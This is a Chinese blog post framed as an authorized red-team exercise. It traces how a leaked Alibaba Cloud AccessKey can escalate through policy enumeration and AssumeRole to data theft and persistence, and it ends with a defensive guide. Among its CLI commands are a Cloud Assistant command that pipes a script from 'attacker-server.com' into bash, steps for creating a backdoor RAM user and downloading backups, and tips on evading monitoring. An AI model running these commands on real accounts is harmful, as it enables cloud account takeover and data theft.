三亩地 三亩地SAN MU DI · CODE DIARY
交流投稿
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天，欢迎挑你感兴趣的翻一翻。

首页/学习日记/日记详情

从AK/SK泄露到云账户沦陷：一次完整的云上攻防演练与防御指南

发布时间：2026/8/7 14:11:24 三亩地 编程学习日记
从AK/SK泄露到云账户沦陷：一次完整的云上攻防演练与防御指南

1. 项目概述：当云上“钥匙”落入他人之手

在云原生时代，AK/SK（AccessKey ID / AccessKey Secret）是访问云资源的“万能钥匙”。它们就像你家大门的钥匙和密码的组合，一旦泄露，就意味着攻击者可以大摇大摆地进入你的“云上之家”，查看、修改甚至删除你的数据、服务器、数据库等一切资产。我见过太多因为代码仓库配置疏忽、日志文件意外公开、甚至是内部员工误操作，导致AK/SK泄露的案例。今天，我们就从一个安全研究（或者说，防御者视角的攻防演练）的角度，来完整复盘一次从发现泄露的AK/SK开始，到最终理解攻击者如何可能控制整个阿里云账户的路径。这绝不是为了教你如何攻击，而是为了让你，无论是开发者、运维还是安全负责人，都能深刻理解这串字符背后所代表的巨大风险，从而建立起真正有效的防御体系。

整个流程可以看作是一次针对云身份与访问管理（IAM）的“渗透测试”。核心目标不是破坏，而是验证：验证一个泄露的凭据，其危害边界究竟能有多大。我们会使用阿里云官方提供的命令行工具、SDK以及一些开源的安全评估工具，在完全合法、授权的测试环境（例如你自己创建的、隔离的阿里云子账户）中，模拟攻击者的行为链路。你会发现，整个过程往往不像电影里演的那样需要高超的黑客技术，更多是逻辑缜密的权限枚举和信息收集。对于防御方来说，了解攻击者的每一步操作和意图，是构建有效监控和响应策略的前提。

2. 核心思路与攻击链拆解

一次成功的云渗透，其核心思路并非暴力破解，而是“权限提升”和“横向移动”。AK/SK泄露只是起点，攻击者的终极目标通常是获取更高权限（如主账号控制权）或窃取核心数据资产。整个攻击链可以清晰地划分为几个阶段，理解每个阶段的目标和手段，是做好防御的关键。

2.1 攻击链全景图：从凭据到控制

一个典型的基于AK/SK泄露的攻击链，遵循着“信息收集 -> 权限确认 -> 横向移动 -> 权限提升 -> 目标达成”的基本逻辑。这并不是一条单行道，攻击者会根据收集到的信息不断调整策略。

  1. 初始访问与验证：攻击者首先需要验证到手的AK/SK是否有效、是否仍处于启用状态。这是最基础的一步，无效的凭据毫无价值。
  2. 身份与权限枚举：这是最关键的一步。攻击者需要弄清楚这个AK/SK背后对应的“身份”是谁（是主账号还是某个RAM子用户？），以及这个身份当前拥有哪些权限。权限决定了攻击者能做什么。
  3. 资源发现与信息收集：在明确权限后，攻击者会开始枚举该身份能访问的所有云资源，例如ECS实例、OSS存储桶、RDS数据库、VPC网络配置等。这一步旨在绘制出目标的“云资产地图”。
  4. 权限提升与持久化：如果当前权限不足（例如只是一个只读权限的RAM用户），攻击者会尝试利用现有权限，通过创建新的高权限AK/SK、附加策略、或利用配置错误（如过宽的权限策略）来提升自己的权限，最终可能目标是获取主账号权限或创建具备管理员权限的后门账号。
  5. 数据窃取与破坏：在获得足够权限后，攻击者便可以执行最终操作，如下载OSS中的敏感数据、登录ECS执行恶意命令、篡改数据库内容、甚至勒索加密数据或直接销毁资源。

注意：在实际防御中，我们尤其需要关注第2步（权限枚举）和第4步（权限提升）。很多安全事件并非因为初始凭据权限多大，而是因为攻击者通过它找到了权限提升的路径。

2.2 为什么RAM用户AK/SK是更常见的目标？

从官方文档和最佳实践我们了解到，阿里云强烈不建议使用主账号AK/SK，而推荐使用RAM用户AK/SK。这带来了一个看似矛盾的现象：因为最佳实践的推广，现实中泄露的AK/SK，绝大多数都属于某个RAM用户，而非主账号。这并不意味着风险降低，反而对攻击者提出了更高的“技巧”要求，对防御者则意味着更复杂的监控场景。

攻击者拿到一个RAM用户的AK/SK后，首要任务是判断其权限边界。一个仅拥有AliyunOSSReadOnlyAccess策略的用户，只能列举和读取OSS对象，危害相对可控。但如果这个用户被附加了AliyunECSFullAccess（ECS全权限管理）甚至AdministratorAccess（管理权限）这类宽泛的策略，那么危害性就急剧上升。更危险的情况是，RAM用户可能拥有某些“PassRole”的权限，允许它将某个高权限的角色（Role）代入到其他服务（如ECS），从而实现权限飞跃。

因此，整个演练的核心就变成了：如何用一个可能权限有限的初始AK/SK，通过枚举和利用云环境内的配置，逐步扩大控制范围。这比直接拿到主账号AK/SK更具技术性，也更能暴露云环境内部的安全配置问题。

3. 环境准备与工具选型

在进行任何操作之前，我们必须搭建一个安全的、隔离的测试环境。绝对禁止使用生产环境的AK/SK或在生产资源上进行测试。我们的所有操作都应在自己完全控制的、新建的阿里云账号或独立的资源组内进行。

3.1 搭建安全的测试沙箱

我个人的习惯是专门注册一个用于安全测试的阿里云账号（可以使用临时邮箱）。在这个账号下，我们可以自由地创建各种RAM用户、角色、资源，并模拟各种错误配置，而不用担心影响任何线上业务。

  1. 创建主测试账号：使用一个新的手机号或邮箱注册一个阿里云账号。完成实名认证（个人认证即可）。
  2. 启用多因素认证（MFA）：立即为这个主账号启用MFA。这是安全底线，即使这是测试账号。
  3. 创建模拟“受害者”的RAM用户：我们将创建一个RAM用户，并为其分配一组我们计划“泄露”的AK/SK。同时，我们会为这个用户附加一些特定的权限策略，来模拟真实世界中可能存在的过度授权或配置错误。
    • 步骤：在RAM控制台，创建用户test-penetration-user。
    • 生成AK/SK：为该用户创建AccessKey，并妥善保存（这是我们后续演练的起点）。
    • 附加策略：为了模拟一个有趣的场景，我们为其附加两个策略：
      • AliyunECSReadOnlyAccess：仅限读取ECS信息。
      • 一个自定义的内联策略，允许该用户为自己创建新的AccessKey（模拟管理疏忽，允许用户自主管理密钥）。

3.2 核心工具介绍与配置

我们将主要使用命令行工具，因为它们更易于自动化，也更贴近攻击者常用的方式。

  1. 阿里云CLI (Alibaba Cloud CLI)：这是与阿里云API交互的官方命令行工具。我们需要用它来配置我们拿到手的AK/SK，并执行后续的几乎所有API调用。

    • 安装：根据你的操作系统，参考阿里云CLI官方文档安装。
    • 配置Profile：安装后，运行aliyun configure。它会提示你输入AccessKey ID,AccessKey Secret,Region等。这里我们就填入刚刚为test-penetration-user创建的AK/SK。Region可以选一个常用的，如cn-hangzhou。这个配置会保存在~/.aliyun/config.json中。
    • 验证配置：运行一个简单的命令测试是否配置成功，例如aliyun ecs DescribeRegions。如果返回了地域列表，说明AK/SK有效且至少有某个服务的只读权限。

  2. aliyun-python-sdk-core：对于更复杂的逻辑或需要编程处理的场景，Python SDK是更好的选择。我们可以用Python脚本批量调用API、解析返回的复杂JSON数据。

    • 安装：pip install aliyun-python-sdk-core
    • 基础使用：在Python脚本中，使用AK/SK初始化一个AcsClient对象，即可调用各个产品的SDK。

  3. 开源信息收集工具：有一些优秀的开源工具可以帮助我们更系统化地进行信息收集。例如cloudlist或scoutsuite的适配版本。但为了更透彻地理解原理，我们前期会主要使用原生CLI和SDK，手动执行每一步。在理解了底层API调用后，使用这些工具会事半功倍。

实操心得：在配置CLI时，建议使用--profile参数管理多个AK/SK配置。例如aliyun configure --profile victim可以创建一个名为victim的配置，与你的主账号配置隔离。后续调用时使用aliyun ecs DescribeInstances --profile victim来指定身份。这能有效防止误操作。

4. 初始信息收集与权限枚举

拿到AK/SK后，攻击者第一步是“摸清家底”。这个阶段的目标是回答两个核心问题：“我是谁？”和“我能干什么？”。

4.1 验证AK/SK有效性与基础信息

我们首先用配置好的CLI，调用一个最基础的、几乎所有身份都能访问的API来验证连通性。

# 使用配置好的profile调用一个通用API aliyun sts GetCallerIdentity --profile victim

这个GetCallerIdentity是STS（安全令牌服务）的API，它不需要任何特殊权限，只要AK/SK有效就能调用。返回的JSON会包含关键信息：

{ "AccountId": "123456789012", "UserId": "2837812-example-user-id", "Arn": "acs:ram::123456789012:user/test-penetration-user", "IdentityType": "RAMUser", "PrincipalId": "2837812-example-user-id" }

信息解读：

  • AccountId：这个AK/SK所属的阿里云主账号ID。这是攻击者定位目标企业的关键信息之一。
  • Arn：这是最重要的字段。acs:ram::123456789012:user/test-penetration-user明确告诉我们，当前身份是一个RAM用户，用户名叫test-penetration-user。如果这里是acs:ram::123456789012:root，那就意味着这是主账号的AK/SK，情况将变得极其严重。
  • IdentityType：确认了是RAMUser。

至此，攻击者知道了自己当前扮演的是一个名为test-penetration-user的RAM用户，隶属于账号123456789012。

4.2 枚举已附加的权限策略

知道身份后，下一步就是列出这个RAM用户身上被附加了哪些权限策略。这决定了攻击的初始能力范围。

# 列出直接附加给该用户的权限策略 aliyun ram ListPoliciesForUser --UserName test-penetration-user --profile victim

这个命令会返回一个策略列表。在我们的测试场景中，应该能看到AliyunECSReadOnlyAccess这个系统策略，以及一个以UserPolicy开头的内联策略（即我们自定义的允许创建AK的策略）。

关键点：返回的策略信息中，每个策略都有PolicyType字段，可能是System（系统策略）或Custom（自定义策略）。PolicyName就是策略名称。攻击者需要仔细查看这些策略名，尤其是自定义策略，它们往往包含着过度授权的风险。

为了获取策略的详细内容（即具体的权限语句），攻击者需要进一步查询：

# 获取系统策略的详情（例如 AliyunECSReadOnlyAccess） aliyun ram GetPolicy --PolicyType System --PolicyName AliyunECSReadOnlyAccess --profile victim # 获取自定义内联策略的详情（假设PolicyName是 UserPolicy-xxxx） aliyun ram GetPolicy --PolicyType Custom --PolicyName UserPolicy-xxxx --profile victim

查看策略详情文档（PolicyDocument字段），攻击者就能精确知道当前用户可以对哪些资源（Resource）执行哪些操作（Action）。例如，AliyunECSReadOnlyAccess的文档会显示其拥有ecs:Describe*、ecs:List*等只读操作的权限，资源是*（所有ECS资源）。

4.3 利用初始权限进行资源发现

现在，攻击者已经知道我们扮演的用户拥有ECS的只读权限。那么，自然要看看这个账号下有哪些ECS服务器。

# 列举所有ECS实例（在拥有ECS只读权限的前提下） aliyun ecs DescribeInstances --RegionId cn-hangzhou --profile victim

这个命令会返回该地域下所有ECS实例的详细信息，包括实例ID、状态、IP地址、镜像ID、安全组、VPC/交换机信息等。这些信息对于后续的横向移动至关重要。例如，攻击者可能会寻找公网IP、查看安全组规则中是否有暴露高危端口（如22, 3389）等。

如果用户还有其他服务的只读权限（如OSS、RDS），攻击者会依葫芦画瓢，进行类似的列举操作：

# 列举OSS Bucket (需要OSS列举权限) aliyun oss ls --profile victim # 列举RDS实例 (需要RDS只读权限) aliyun rds DescribeDBInstances --RegionId cn-hangzhou --profile victim

注意事项：很多企业在配置权限时，会忽略“列举（List）”权限的风险。他们认为只给“读（Read）”权限是安全的。但实际上，List或Describe权限能让攻击者绘制出完整的资产地图，了解攻击面有多大，哪些是核心数据库，哪些是对外Web服务器，价值巨大。在配置权限时，应遵循最小权限原则，即使是只读权限，也要考虑是否真的需要List权限。

5. 权限提升与横向移动实战

在只有ECS只读权限的情况下，攻击者似乎无法进行任何写操作，比如创建实例、执行命令等。但别忘了，我们还有一个自定义策略，允许用户“为自己创建新的AccessKey”。这看似无害，实则可能打开一扇门。

5.1 利用“创建AccessKey”权限进行权限维持

攻击者发现当前用户可以为自己创建新的AK/SK。他立即执行：

# 为当前用户创建一个新的AccessKey aliyun ram CreateAccessKey --UserName test-penetration-user --profile victim

命令成功执行，返回一组全新的AccessKeyId和AccessKeySecret。攻击者现在有了第二套凭据。这有什么用？如果原有的AK/SK被管理员发现并禁用或删除，攻击者仍然可以用这套新的AK/SK维持访问。这是一种基础的持久化手段。

但我们的目标不止于此。当前的权限（ECS只读）仍然太低。攻击者需要寻找权限提升（Privilege Escalation）的机会。

5.2 探索权限提升路径：角色（Role）与扮演（AssumeRole）

在云上，一个更常见的权限提升路径是通过“角色扮演”。RAM用户本身权限可能不高，但如果他被允许去“扮演（AssumeRole）”某个拥有高权限的角色（Role），那么他就能临时获得该角色的所有权限。

如何检查当前用户能否扮演角色？这需要查看用户或其所附加的策略中，是否包含sts:AssumeRole这个Action，并且Resource指向了某个具体的角色ARN。

首先，我们可以尝试列出当前账号下所有的RAM角色：

# 需要 ram:ListRoles 权限。我们的用户目前没有，这个命令会失败。 aliyun ram ListRoles --profile victim

不出意外，会返回权限不足的错误。这说明我们无法直接浏览所有角色。

那么，攻击者可能会换个思路：直接尝试扮演一些常见的、可能存在的高权限角色名。例如，很多企业会创建名为AdminRole、ECSPowerUserRole、VPCFullAccessRole之类的角色。这是一种“猜测”攻击。

# 尝试扮演一个假设存在的“AdminRole”角色 aliyun sts AssumeRole --RoleArn acs:ram::123456789012:role/AdminRole --RoleSessionName PenTestSession --profile victim

如果当前用户没有被授权扮演这个角色，请求会被拒绝。但如果企业配置了过于宽泛的信任策略（Trust Policy），例如允许所有RAM用户扮演某个角色，那么攻击就可能成功。

更系统的方法是仔细分析我们已有的自定义策略文档。我们之前创建的那个允许“创建AccessKey”的内联策略，其完整内容可能不止于此。让我们用GetPolicy命令再看一眼它的详情。假设策略文档如下：

{ "Version": "1", "Statement": [ { "Effect": "Allow", "Action": [ "ram:CreateAccessKey", "ram:ListAccessKeys", "ram:UpdateAccessKey", "ram:DeleteAccessKey" ], "Resource": "acs:ram::123456789012:user/test-penetration-user" }, { "Effect": "Allow", "Action": "sts:AssumeRole", "Resource": "acs:ram::123456789012:role/ECSPowerUser" } ] }

发现了关键点！这个策略的第二条语句，允许当前用户去扮演一个名为ECSPowerUser的角色。这就是我们寻找的权限提升路径！

5.3 执行角色扮演，获取临时高权限凭证

现在，攻击者可以合法地（在策略允许下）扮演ECSPowerUser角色。

# 扮演 ECSPowerUser 角色 aliyun sts AssumeRole --RoleArn acs:ram::123456789012:role/ECSPowerUser --RoleSessionName AttackSession --profile victim

调用成功会返回一个包含临时安全令牌（Security Token）的响应：

{ "Credentials": { "AccessKeyId": "STS.xxxxxx", "AccessKeySecret": "yyyyyyyy", "SecurityToken": "zzzzzzzz", "Expiration": "2024-05-20T12:00:00Z" }, "AssumedRoleUser": { "Arn": "acs:sts::123456789012:assumed-role/ECSPowerUser/AttackSession", "AssumedRoleUserId": "333333333333333333:AttackSession" } }

这个Credentials就是攻击者梦寐以求的高权限临时钥匙。它通常有效期为1小时（可配置）。攻击者会立即用这组新的临时AK/SK和Token去配置一个新的CLI Profile。

# 配置一个新的CLI profile，使用临时凭证 aliyun configure set --profile assumed-role \ --access-key-id STS.xxxxxx \ --access-key-secret yyyyyyyy \ --region cn-hangzhou \ --sts-token zzzzzzzz

现在，使用--profile assumed-role发起的任何API请求，都将以ECSPowerUser角色的身份执行。我们需要查看这个角色到底有什么权限。

5.4 评估新角色的权限并扩大战果

由于我们是以角色身份访问，现在可以调用GetCallerIdentity来确认：

aliyun sts GetCallerIdentity --profile assumed-role

返回的Arn会变成acs:sts::123456789012:assumed-role/ECSPowerUser/AttackSession，身份类型是AssumedRoleUser。

接下来，我们需要知道这个ECSPowerUser角色被附加了哪些策略。由于我们是通过RAM用户扮演的角色，我们可能没有直接查询角色策略的权限（ram:GetRole）。但是，我们可以通过实际尝试来探测权限边界。这是一种“动态检测”方法。

攻击者会尝试一系列高权限操作，例如：

  1. 尝试创建资源：

    # 尝试创建一个按量付费的ECS实例（极低成本或设置自动释放，避免产生大额费用） aliyun ecs CreateInstance --RegionId cn-hangzhou --InstanceType ecs.t5-lc1m2.small --ImageId centos_7_9_x64_20G_alibase_20230718.vhd --SecurityGroupId sg-xxx --VSwitchId vsw-xxx --profile assumed-role

    如果成功，说明角色拥有ECS创建权限，危害极大。

  2. 尝试修改现有配置：

    # 尝试修改某个安全组规则，放行公网IP访问22端口 aliyun ecs AuthorizeSecurityGroup --SecurityGroupId sg-xxx --IpProtocol tcp --PortRange 22/22 --SourceCidrIp 0.0.0.0/0 --profile assumed-role

  3. 尝试访问其他服务：

    # 尝试列出所有OSS Bucket aliyun oss ls --profile assumed-role # 尝试上传文件到某个已知的Bucket aliyun oss cp ./test.txt oss://my-sensitive-bucket/ --profile assumed-role

在我们的模拟场景中，ECSPowerUser角色很可能被赋予了AliyunECSFullAccess或类似的高权限策略。这意味着攻击者现在可以完全控制该账号下的所有ECS资源：开机、关机、重启、重置密码、执行命令、创建镜像、修改安全组等等。

6. 深入利用与数据窃取模拟

假设通过探测，我们确认ECSPowerUser角色拥有对OSS的完全访问权限（AliyunOSSFullAccess）。那么，攻击的下一个阶段就是数据窃取。

6.1 全面枚举OSS存储桶与对象

首先，列出所有存储桶：

aliyun oss ls --profile assumed-role

输出可能包含多个Bucket名称，例如company-backup,web-static,logs-archive等。这些名称本身就可能泄露业务信息。

接下来，攻击者会遍历所有感兴趣的Bucket，列出其中的文件。对于可能包含敏感信息的Bucket（如名字中含有backup,database,secret等），会进行重点探查。

# 递归列出 company-backup 桶内所有文件，并输出到本地文件 aliyun oss ls oss://company-backup -r > oss_company_backup_list.txt # 查看 logs-archive 桶中最近的文件 aliyun oss ls oss://logs-archive --max-keys 50

6.2 识别与下载敏感数据

通过文件列表，攻击者会寻找诸如.sql.gz,.bak,.xlsx,.pdf,config.json,.env等可能包含数据库备份、配置文件、员工信息、财务数据的文件。

一旦发现目标，就直接下载：

# 下载一个疑似数据库备份的文件 aliyun oss cp oss://company-backup/prod/db/20240518_full.sql.gz ./stolen_data/ # 下载配置文件 aliyun oss cp oss://web-static/config/production.yaml ./stolen_data/

如果数据量巨大，攻击者可能会考虑使用--multipart参数进行分片下载，或者直接在云上启动一个临时ECS实例，将数据先拷贝到该实例的云盘上，再进行压缩打包和传输，以提高效率并规避可能的网络流量监控。

6.3 尝试访问ECS实例

如果OSS中没有直接找到核心数据，攻击者可能会将目光转向ECS实例。拥有ECSFullAccess权限后，攻击者可以：

  1. 重置实例密码：对于Linux实例，可以重置root密码；对于Windows实例，可以重置Administrator密码。但这需要重启实例才能生效，动作较大容易被发现。

    aliyun ecs ResetInstancePassword --InstanceId i-xxx --Password 'H@ck3d!123' --profile assumed-role # 注意：重置后需要重启实例 aliyun ecs RebootInstance --InstanceId i-xxx --profile assumed-role

  2. 更隐蔽的方式：执行命令（RunCommand）：阿里云ECS提供了“云助手”功能，可以在不登录的情况下远程在实例中执行命令。这比重置密码更隐蔽。

    # 创建一个命令文档（假设要下载并执行一个脚本） aliyun ecs CreateCommand --RegionId cn-hangzhou --CommandContent 'curl -s http://attacker-server.com/mal.sh | bash' --Type RunShellScript --Name 'UpdateScript' --profile assumed-role # 在目标实例上执行该命令 aliyun ecs InvokeCommand --RegionId cn-hangzhou --InstanceId.1 i-xxx --CommandId <上一步返回的CommandId> --profile assumed-role

    通过执行命令，攻击者可以在实例内部建立持久化后门、进行内网横向渗透、或直接打包窃取实例磁盘上的数据。

7. 权限维持与防御规避

一个成熟的攻击者不会满足于一次性入侵，他会设法留下后门，确保即使最初的AK/SK失效，他也能再次回来。

7.1 创建后门RAM用户

最直接的方式是利用当前的高权限（假设通过角色扮演或其他方式，已经获取了RAM管理权限，例如AliyunRAMFullAccess），创建一个新的、隐蔽的RAM用户，并赋予其高权限。

# 1. 创建一个看似普通的RAM用户，例如命名为“monitor-agent” aliyun ram CreateUser --UserName monitor-agent --DisplayName "Monitoring Agent" --profile assumed-role # 2. 为该用户创建AK/SK aliyun ram CreateAccessKey --UserName monitor-agent --profile assumed-role # 保存好这组新的AK/SK，这是攻击者的备用钥匙。 # 3. 给这个后门用户附加高权限策略，例如只读权限以降低怀疑，或者直接附加管理权限。 # 附加只读策略（更隐蔽） aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AliyunReadOnlyAccess --UserName monitor-agent --profile assumed-role # 或者附加管理策略（风险高但控制力强） # aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName monitor-agent --profile assumed-role

7.2 利用现有资源创建持久化访问通道

如果创建新用户风险太高，攻击者可能会利用现有的、不被注意的资源。例如：

  • 在已有的ECS实例上安装SSH公钥：如果攻击者能通过RunCommand在某个实例上执行命令，他可以将自己的SSH公钥添加到~/.ssh/authorized_keys文件中，从而获得持久的SSH访问权限。
  • 创建具有高权限的服务角色：如果攻击者有RAM管理权限，可以创建一个新的RAM角色，并配置其信任策略为允许一个外部的、攻击者控制的阿里云账号来扮演。这样，即使当前账号的所有AK/SK都被轮转，攻击者仍然可以通过自己的外部账号来扮演这个角色，获得权限。
  • 在函数计算（FC）或容器服务中部署后门：如果环境中有Serverless或容器服务，攻击者可以部署一个包含后门的函数或镜像，该后门可以定期将访问凭证发送到攻击者控制的服务器。

7.3 清理痕迹与对抗监控

为了避免被阿里云自身的监控或企业安全团队发现，攻击者会尽量低调：

  • 使用低频、合法的API调用：避免在短时间内发起大量异常API请求。尽量模仿正常用户的行为模式。
  • 避开敏感操作高峰：不在业务高峰时段执行重置密码、重启实例等敏感操作。
  • 查看并理解CloudTrail日志：如果攻击者有读取操作日志（ActionTrail）的权限，他可能会先查看日志，了解企业的监控习惯，然后选择在监控盲区行动。不过，阿里云的操作日志是防篡改的，攻击者只能查看，无法删除。
  • 使用临时凭证：尽量使用通过STS获取的临时凭证（Token）进行操作，因为临时凭证的生命周期短，且与特定的RoleSessionName关联，在日志中看起来可能更像一个临时任务。

8. 防御视角：如何构建AK/SK泄露的防线

复盘完整个攻击路径，作为防御方，我们应该如何构建防线？这需要从预防、检测、响应三个层面入手。

8.1 预防措施：让AK/SK难以泄露和滥用

  1. 坚决不使用主账号AK/SK：这是铁律。所有程序、API调用都必须使用RAM用户的AK/SK。
  2. 遵循最小权限原则：为每个应用、服务、人员创建独立的RAM用户，并授予其完成工作所必需的最小权限。避免使用*作为资源，尽量精确到资源ID。避免使用AdministratorAccess这类宽泛的系统策略。
  3. 使用STS临时凭证：对于需要调用云API的应用程序，尽可能使用RAM角色（Role）和STS来获取临时安全令牌，而不是直接使用长期有效的AK/SK。临时令牌自动过期，安全性高得多。
  4. 启用AK/SK网络访问限制：如官方文档所述，为AK/SK配置网络访问策略，限定调用来源IP，将风险锁定在公司网络或特定的云服务器IP范围内。
  5. 定期轮转AK/SK：建立AK/SK定期轮转制度，强制更换。即使AK/SK泄露，其有效期也有限。
  6. 禁用不必要的AK/SK：定期审计，删除或禁用长期未使用的AK/SK。
  7. 加强代码和配置管理：AK/SK严禁硬编码在源代码中。使用环境变量、密钥管理服务（如阿里云KMS）或专门的Secrets管理工具来存储和访问凭据。在Git等版本控制系统中设置.gitignore规则，防止配置文件意外提交。

8.2 检测措施：及时发现异常行为

  1. 启用并监控操作审计（ActionTrail）：确保ActionTrail日志投递到日志服务（SLS）或对象存储（OSS），并设置长期存储。这是事后追溯的“黑匣子”。
  2. 配置实时告警：在SLS中设置告警规则，对高风险API操作进行实时告警。例如：
    • 来自陌生IP地址的sts:AssumeRole调用。
    • ram:CreateUser,ram:AttachPolicyToUser等权限变更操作。
    • ecs:ResetInstancePassword,ecs:RunCommand等对实例的直接操作。
    • oss:GetObject大量下载敏感Bucket的数据。
    • 同一个AK/SK在短时间内从多个地理位置IP发起请求。
  3. 使用安全中心（云盾）：阿里云安全中心提供威胁检测功能，可以识别凭据泄露、异常登录、恶意操作等行为，并给出告警。
  4. 定期进行用户行为分析（UEBA）：建立用户和实体的行为基线，对于偏离基线的行为（如一个只读用户突然尝试创建实例）进行告警。

8.3 响应措施：泄露发生后的止损

  1. 立即禁用或删除泄露的AK/SK：在RAM控制台找到对应的用户，立即禁用或删除其所有的AccessKey。
  2. 审查相关RAM用户的权限：检查泄露AK/SK所属的用户，其权限是否过大？是否被附加了不必要的策略？进行权限收紧。
  3. 检查是否创建了后门用户或角色：全面审计RAM中的用户和角色列表，查找近期创建的、名称可疑的实体，检查其权限并删除。
  4. 审查近期的操作日志：通过ActionTrail，追踪泄露的AK/SK在失效前都执行了哪些操作。重点关注：
    • 是否创建了新的AK/SK、用户、角色？
    • 是否对ECS、OSS、RDS等资源进行了读写操作？
    • 是否有数据被下载或外传？
  5. 重置可能被篡改的凭证：如果攻击者可能修改了ECS实例密码、数据库密码等，需要立即重置。
  6. 轮换所有可能受影响的凭据：作为一种安全实践，考虑轮换与该泄露用户同一权限级别或相关联的其他凭据。
  7. 复盘与加固：分析泄露原因（是代码泄露、内部人员误操作还是其他？），修补漏洞，并加强员工的安全意识培训。

整个攻防演练下来，我最深的体会是：云安全是一个动态的过程，没有一劳永逸的银弹。攻击者的手法在进化，我们的防御策略也必须随之迭代。AK/SK的管理是云安全的基石，这块基石一旦松动，整个大厦都可能倾覆。定期进行这样的红蓝对抗演练，不是为了制造恐慌，而是为了在最坏的情况发生前，亲手验证我们的防御体系是否真的有效。当你真正站在攻击者的角度走完一遍流程，你会对那句老话有更刻骨的理解：“安全是1，其他都是后面的0。”

编程学习 学习日记 实战经验
← 返回列表